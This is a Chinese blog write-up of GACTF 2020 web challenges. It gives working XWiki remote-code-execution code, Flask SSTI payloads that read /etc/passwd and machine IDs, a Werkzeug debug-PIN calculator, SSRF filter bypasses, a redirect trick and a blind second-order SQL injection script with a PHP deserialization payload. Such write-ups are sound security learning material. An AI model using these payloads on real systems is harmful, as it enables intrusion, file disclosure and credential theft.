GACTF 2020 WEB 部分wp
九涅·烧包包儿 / / 程序员 / 阅读量
周末摸鱼+打比赛+写代码。记录点心得,比较菜,后面的几道题是看了师傅的wp,感觉很有意思,赛后复现一下!

XWiki

感觉是个CVE,网上一搜还真是

https://jira.xwiki.org/browse/XWIKI-16960

按照CVE的说法,

  1. Create new user on xwiki.org (or myxwiki.org)
  2. Go to profile -> Edit -> My dashboard -> Add gadget
  3. Choose either python or groovy.
  4. Paste following python/groovy code (for unix powered xwiki)
r = Runtime.getRuntime()
proc = r.exec('ls /');
# proc = r.exec('cat /readflag');
BufferedReader stdInput1 = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String s1 = null;
while ((s1 = stdInput1.readLine()) != null) { print s1; }

把根目录下的readflag读出来后,发现是个可执行文件,后面的活就丢给了PWN队友,他说flag就在文件里。

simple flask

经典的SSTI题目,是新版本的werkzurg,需要用新版本的PIN码

bypass WAF后,可以利用SSTI任意文件读取

# machine-id_1
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__["open"]("/etc/machine-id").read()}}
# machine-id_2
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__["open"]("/proc/self/cgroup").read()}}


# user 就是root
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__["open"]("/etc/passwd").read()}}

# MAC 地址
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__["open"]("/sys/class/net/eth0/address").read()}}

然后PIN码一把梭就能算出来了。

import hashlib
from itertools import chain
probably_public_bits = [
    'root',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.7/dist-packages/flask/app.py',
]

private_bits = [
    '2489673121798',
    'a8eb6cac33e701ae867269db5ce80e7f52833efbb53e157ffd26a035d647ff1a1902fe648113ae6b0799af212f1966d0'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

顺手可以读下源码,以后可以搭环境用

from flask import flask, request, render_template_string, redirect, abort
import string

app = flask(__name__)


white_list = string.ascii_letters + string.digits + '()_-{}."[]=/'
black_list = ["codecs", "system", "for", "if",
              "end", "os", "eval", "request", "write",
              "mro", "compile", "execfile", "exec",
              "subprocess", "importlib", "platform", "timeit",
              "import", "linecache", "module", "getattribute",
              "pop", "getitem", "decode", "popen",
              "ifconfig", "flag", "config"]


def check(s):
    # print(len(s))
    if len(s) > 131:
        abort(500, "hacker")
        # abort(500, "hacker len")
    for i in s:
        if i not in white_list:
            abort(500, "hacker")
            # abort(500, "hacker white")
    for i in black_list:
        if i in s:
            abort(500, "hacker")
            # abort(500, "hacker black")


@app.route('/', methods=["post"])
def hello_world():
    try:
        name = request.form["name"]
    except exception:
        return render_template_string("<h1>request.form[\"name\"]<h1>")

    if name == "":
        return render_template_string("<h1>hello world!<h1>")

    check(name)
    template = '<h1>hello {}!<h1>'.format(name)
    res = render_template_string(template)
    if "flag" in res:
        abort(500, "hacker")
    return res


if __name__ == '__main__':
    app.run(host="0.0.0.0", debug=true)

EZFLASK

访问主页,题目给了部分源码

# -*- coding: utf-8 -*-
from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)

@app.route('/ctfhint')
def ctf():
    hint =xxxx # hints
    trick = xxxx # trick
    return trick

@app.route('/')
def index():
    # app.txt
@app.route('/eval', methods=["POST"])
def my_eval():
    # post eval
@app.route(xxxxxx, methods=["POST"]) # Secret
def admin():
    # admin requests
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8080)

题目的waf非常复杂,不是简单就能绕过的,此处的eval内容,括号,引号,方括号等都被过滤了。不过好在.__没有被过滤

现在的目标是无论如何要把hint读出来。队友指点了一下,学习了.__code__的魔术方法。

eval = ctf.__code__.co_consts

可以获得hint的提示:

('the admin route :h4rdt0f1nd_9792uagcaca00qjaf<!-- port : 5000 -->', 'too young too simple')

显然,我们知道了admin的路由是 h4rdt0f1nd_9792uagcaca00qjaf

另外爆破 admin.__code__下的相关内容,也可以获得一些信息:

(None, 'ip', 'port', 'path', 'post ip=x.x.x.x&port=xxxx&path=xxx => http://ip:port/path', 4, 'hacker?', 'http://{}:{}/{}', 'timeout', 2, 'requests error')
('request', 'form', 'waf_ip', 'waf_path', 'len', 'requests', 'get', 'format', 'text')

对此,我们大概知道了,admin内是在执行一个requests.get方法,他将访问http://{ip}:{port}/{path}

绕WAF解法

我还发现了waf_ip,waf_path这类参数,那么也尝试读取一下,waf_ip是能够用.__code__读出些东西的

('0.0', '192', '172', '10.0', '233.233', '1234567890.', 15, '.', 4)

如上可能是它ban了的东西了。显然127.0.0.1是不能读了,因为0.0的存在,但是计网的老师告诉咱,本地回环可以是127.x.x.x,那么读取127.0.1.1就可以绕过了。

之后就是绕waf了,这个path的waf还是有点难绕开的,它过滤的东西包括了()",+%以及很多的方法。但是app,global没有被过滤掉。

之前做一个日本的CTF的时候,有看到过利用url_for以及get_flashed_messages来获取'current_app'从而读取config的方法,

有幸这两个都没有被过滤掉,EXP如下

ip=127.0.1.1&path={{url_for.__globals__['current_app'].__dict__}}&port=5000
ip=127.0.1.1&path={{get_flashed_messages.__globals__['current_app'].__dict__}}&port=5000

302跳转解法

那么python2的requests库,是支持302的。如果利用302跳转,那么就可以规避waf对于path参数的检查

在自己的VPS上搞一个php,内容如下

<?php
header("Location: http://127.0.0.1:5000/{{config}}");
?>

之后访问

ip=47.xx.xx.xx&port=8080&path=

也可以get flag

carefuleyes

给了一个www.zip文件,大概分为两个部分

一个是common.php,其内包含了一个XCTFGG类


class XCTFGG{
    private $method;
    private $args;

    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

    function login() {
        list($username, $password) = func_get_args();
        $username = strtolower(trim(mysql_escape_string($username)));
        $password = strtolower(trim(mysql_escape_string($password)));

        $sql = sprintf("SELECT * FROM user WHERE username='%s' AND password='%s'", $username, $password);

        global $db;
        $obj = $db->query($sql);

        $obj = $obj->fetch_assoc();

        global $FLAG;

        if ( $obj != false && $obj['privilege'] == 'admin'  ) {
			die($FLAG);
        } else {
			die("Admin only!");
        }
    }

    function __destruct() {
        @call_user_func_array(array($this, $this->method), $this->args);
    }
}

可以看出,当其__destruct被触发的时候,可以让它去调用login方法,在传入正确的user和password之后,可以打印FLAG。而好巧不巧,在upload.php中有着反序列化的操作

	if(isset($_GET["data"])) {
    unserialize($_GET["data"]);    

另外一个部分是文件上传与改名的操作,一看就能知道是一个二次注入的题目。上传的过程中,有addslashes,没啥可hack的地方,而且是utf8编码,宽字节考虑不了。

		$path_parts['filename'] = addslashes($path_parts['filename']); # WAF

		$sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";

在文件改名的地方有着比较明显的二次注入

    $result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");

    if ($result->num_rows > 0) {
        $result = $result->fetch_assoc();
        $info = $db->query("select * from `file` where `filename`='{$result['filename']}'");

假设文件上传的名字为 shaobao' or 0

$path_parts['filename']="shaobao \' or 0"

存入数据库的时候,`filename = "shaobao ' or 0"

再拿出来后直接拼接,就成了

$info = $db->query("select from `file` where `filename` = ' shaobao' or 0")

从而达成注入。如果回显中包含 "shaobao",则表示为true否则为false

import requests
import random
import os


class CarefulEyesExp(object):
    def __init__(self):
        self.upload_url = "http://124.71.191.175/upload.php"
        self.rename_url = "http://124.71.191.175/rename.php"

    def run(self):
        self.half_ascii_data()

    def half_ascii_data(self):
        payload = "shaobao' or ascii(substr( (select group_concat(password) from user),%s,1)) > %s#"
        data = ""
        for i in range(1, 100):
            max = 128  # z
            min = 32  # A
            while min < max:
                mid = int((max + min) // 2)
                p = payload % (str(i), str(mid))
                response = requests.post(self.upload_url, files={
                    'upfile': (p + ".jpg", 'a')
                })
                # print(response.text)
                response = requests.post(self.rename_url, data={
                    'oldname': p,
                    'newname': "dfasdf{}".format(random.randint(1, 1000000000))
                })
                # print(response.text)
                if response.text.find("shaobao") != -1:
                    min = mid + 1
                else:
                    max = mid
            data = data + chr(max)
            print("the data is :%s" % data)


CarefulEyesExp().run()

爆出密码为:qweqweqwe

    def get_flag(self):
        get = "O%3A6%3A%22XCTFGG%22%3A2%3A%7Bs%3A14%3A%22%00XCTFGG%00method%22%3Bs%3A5%3A%22login%22%3Bs%3A12%3A%22%00XCTFGG%00args%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22XM%22%3Bi%3A1%3Bs%3A9%3A%22qweqweqwe%22%3B%7D%7D"
        response = requests.post(self.upload_url+"?data="+get, files={
            'upfile': ("1" + ".jpg", 'a')
        })
        print(response.text)

顺手getflag

SSSRFME

师傅们TQL,臭弟弟前来学习

BabyShop

就下到了的www.zip源码,之后在分析吧

支付宝捐赠
请使用支付宝扫一扫进行捐赠
微信捐赠
请使用微信扫一扫进行赞赏
有 0 篇文章